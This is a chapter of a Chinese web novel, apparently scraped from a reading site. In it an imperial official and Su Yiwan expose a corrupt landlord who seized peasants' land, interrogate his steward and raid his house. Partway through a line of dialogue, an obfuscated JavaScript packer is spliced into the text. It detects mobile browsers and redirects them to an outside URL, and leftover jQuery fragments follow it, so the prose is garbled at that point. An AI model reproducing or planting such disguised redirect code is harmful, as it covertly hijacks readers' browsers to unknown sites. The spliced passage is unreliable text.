默认冷灰
24号文字
方正启体

15. 是阎罗也是菩萨

作者:风雪压我三百年本书字数:K更新时间:
    “我与沈同知沈砚之共理江南农事,闻周万财强征民田、苛扣桑苗款,特来查探。”


    他目光扫过庙内众人。


    这些流民,眼神里无一不镌刻着对世道的绝望和为求生不肯熄灭的星火。


    前世,这些最终都燃成了燎原的反骨。


    黝黑汉子眼中警惕未消,平添嘲讽:“沈同知?都是当官的,说话如放屁,谁还信?周万财那狗贼,带着赵通判的人,拿着官府的文书,把我们的田全占了!说是要种桑,可那桑苗……那桑苗根本活不了!”


    邵言卿作为苏州知府,本是地方父母官,却因高相的关系包庇周万财,助纣为虐。这正是“改稻为桑”新政变味的核心症结和深水区。


    谢辞从袖中取出卷轴:“这是沈同知亲笔签署的凭据,凡愿试种桑豆混种者,白家先垫付五两安家银,秋收后官府按市价收购蚕丝与豆子,绝不拖欠。”


    提到白家,人群中有人低呼。


    苏州白家根基百年,赈灾施粥从不含糊,连邵言卿都要给几分薄面,这名头比官府的空口承诺管用得多。


    苏意晚也将自己的想法告知于众:“桑苗间距三尺,豆子种在行间,既能固肥养桑,豆子还能当粮吃。只要选对短生豆种,二十天就能出苗。”


    一老妪颤声问:“姑娘说的是真的?不会又说我们未报官府核准私种吧?”


    “白家作保,还不值得相信吗?”谢辞目光扫过众人,“但烦请你们告诉我,周万财强征土地的文书、收管理票的票据,可有留存?”


    黝黑汉子犹豫片刻,摸出一张皱巴巴的纸:“这是他逼我们画押的自愿卖田契。”


    谢辞接过契纸,见其字迹潦草,盖着周万财的私章,却没有官府红印,显然是非法强征。


    他刚要说话,庙外突然传来马蹄声,伴随着呵斥:“里面的人都出来!周老爷说为防闹事,不许私自聚集!”


    众人脸色骤变,几个汉子抄起墙角的断锄,就要冲出去拼命。


    谢辞立刻按住他们:“不可硬拼!”


    苏意晚拽了拽谢辞的衣袖,附耳低询:“你应该带了保镖出来的吧。”


    “知我者莫过晚晚,我自然惜命的很,出门必有暗卫傍身。”


    说话间,几个穿着短打的家丁已踹开庙门,为首的是周万财的管家周福,手里拿着马鞭,恶狠狠摔在地上恐吓众人:“一群贱骨头!敬酒不吃吃罚酒。”


    谢辞青衫挡在苏意晚面前:“谁家的狗,好大口气。”


    周福上下打量谢辞,见他气度不凡,不像普通人,却也不惧:“你是哪来的酸丁?敢管周老爷的事!邵知府都认我们家老爷的面子,你算什么东西?”


    “邵知府认,不代表朝廷认。我乃东宫洗马,奉圣命查核新政,尔等休敢放肆。”


    “东宫洗马?”周福愣了一下,环问侍从,“这是个什么官,你们听过没?”


    侍从皆摇头不知,但有人提醒他,这两日好像确实有京城的大人物来苏州城,但似乎没有什么洗马的。


    周福随即冷笑,“你说你是东宫的人你就是?一个马厩里面给马洗澡的,还装模作样的,我这就去报官,说你冒充太子的人!”


    他刚要转身,突然冲出两个黑影,反手将他按在地上。


    周福挣扎着喊:“哪里来的野狗?反了!反了!你们敢动我,我家老爷饶不了你们!”


    谢辞走近周福,居高临下用鞋面碾了碾周福的脸,语气轻淡却带着寒意:“饶不了我?他可千万不要饶过我……因为我怕他跑太快,还要劳烦我的人费心费力地去抓他。你还带了多少人?不妨都叫进来吧,我正好一并问话。”


    周福脸痛的青红交杂,却还嘴硬:“我们老爷是高相的门生!你动了我,高相在京城一句话,就能让你死无全尸!”


    “高相?”谢辞笑了,“巧了,本官查的就是高相。”


    区区高相,手下败将,他从未放在眼中。


    能让他死无全尸的,上辈子也就一个人……


    想到这,谢辞的眉间染上阴翳。


    “不如你现在说说,周万财和邵言卿还有哪些勾结?不然,我手底下打人没个轻重的,不保证能否全须全尾地放你回去传话。”


    周福还想硬撑,却被暗卫按在地上狠狠一磕后脑勺,他哪里受过这种委屈,顿时疼得窜稀一样全盘托出:“我说!我说!邵知府收了我们老爷五千两银子,默许我们强征土地,带头反抗的村民都被抓进大牢。还有赵通判,和我们老爷合伙垄断了苏州的桑苗,外面一两银子能买三斤的桑苗,我们卖给农户要五两。还有……还有我们老爷在城郊的废弃窑厂藏了粮食,打算等秋收后饥荒严重了,高价卖出去!”


    这些话惊雷一样在庙内炸起一片哭喊声。黝黑汉子攥紧拳头:“狗官!都是狗官!我就说去年粮价怎么涨得那么快,原来是他们囤着不卖!”


    谢辞打了个手势,一个黑影立刻领命离去。不过一刻钟,那黑影又匆匆回来禀报:“大人,城郊废弃窑厂确有粮仓,囤了至少上万石粮食,还有十几个家丁看守。”


    “好。”谢辞冷声道,“把这狗绑起来,留三个人去窑厂守着。剩下的人,随我去抓周万财。”


    “那个,弱弱问一句……我能帮上什么忙吗?”苏意晚悻悻举手示意,希望这群说走就走的人能稍稍注意一下在角落当背景板的她。


    “打打杀杀的事,你还是少掺和的好。”他又一摆手,交代人护送苏意晚回学堂。


    “我不回学堂,我要同你们一起。”


    谢辞朝低笑道,“晚晚不怕吗?我们动了高相的人,高相不会善罢甘休,处境只会更加危险。”


    “打从同你出宫,我们不就是同一条船上的人了。船翻了,谁又跑的掉?”


    谢辞挑眉:“同一条船?你就不怕我把你推下去?”


    “你不会。”苏意晚笃定地说,“你要江南民心,要扳倒高相的证据,我要百姓能吃饱好好活着。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362651|183762||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我对你有利用价值,你对我也一样,我们是互利共赢。”


    “别把自己说那么高尚,也别把我想得那么善良。”谢辞突然倾身逼近,阴影将苏意晚整个人笼住,两人隔着一个吻的距离。


    庙内几个壮汉一齐过来,打断了两人炽热的鼻息交织:“大人!我们跟你一起去!我们熟悉路,能给你带路!”


    谢辞看着他身后跟着的十几个精壮汉子,点了点头。


    “好。但你们记住,只许跟着,不许伤透擅自动手跟人硬拼。官府办案,自有章程。”


    他转头对暗卫吩咐,“把这条狗押在前面,正好让他叫门。”


    月黑风高夜,苏意晚走在谢辞身侧,低声问:“邵知府那边怎么办?周万财被抓,他肯定会知道我们来了。”


    谢辞脚步未停,“别怕,他自顾不暇。在自家底盘上谋杀朝廷命官这种事,给他十个胆子也做不出来。”


    说话间,前方出现一座青砖大院。


    “大人,到了!”


    谢辞嫌恶地指了指被绑住的周福。


    暗卫立刻将周福推到前面,给他松绳,又踹了他小腿一脚:“叫门!”


    周福吃痛不敢违抗,扯着嗓子喊:“快给老子开门!!”


    院门口的家丁见是管家,立刻松了口气,上前打开门:“管家,您怎么回来了?不是说去……”话没说完,就被暗卫捂住嘴拖到一边。


    谢辞一挥手,众人立刻鱼贯而入。院内灯火通明,正屋传来骰子滚落锦垫的声音和喧闹的笑骂。


    “真是热闹,朱门酒肉熏天,这满院脂香酒气飘出去,够城外半街饿殍残喘数日了。”苏意晚攥紧袖中的手,她真为城外流离失所,声断气咽的百姓不值。


    “呵,热闹吗?接下来会更热闹。”谢辞露出意味深长的笑,“这阎罗拘魂、判官问罪的戏码,才刚刚开始呐……”


    暖光融融的正屋内,周万财歪在铺着白虎皮的榻上,粉衣妓子半伏怀中,酒渍葡萄一颗颗被递到嘴边。


    “爷这趟下来,得赚个盆满钵盈。”美人娇笑。


    “不止。”周万财浪笑一声,“桑苗给农户按五两一斤算,强征的田契转手就能抵千金,等秋收后粮价涨三倍,五万两也是开胃小菜!”他捏了把妓子银盘玉脸,“到时候邵知府见了我都得执礼相让。”


    “可那京里来的贵人,万一真的查到我们府上……”


    “呵”周万财挑了挑怀中美妓的下巴,“那些当官的,都是抄书的酸丁。有钱能使鬼推磨,就算天塌下来,也有大把的人给我垫背。老子照样搂着美人喝好酒!”


    话音未落,“哐当”一声,朱漆房门被人一脚踹开。


    周万财冷不丁被吓得一哆嗦:“尔等何人?怎敢擅闯?”


    “当然是你派去的管家请我们进来的。周万财,你强征民田、垄断桑苗、囤积粮食,桩桩件件都是死罪,今日我不替天,不替官,就替江南数不尽的冤魂,做一回讨命的无常恶鬼……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)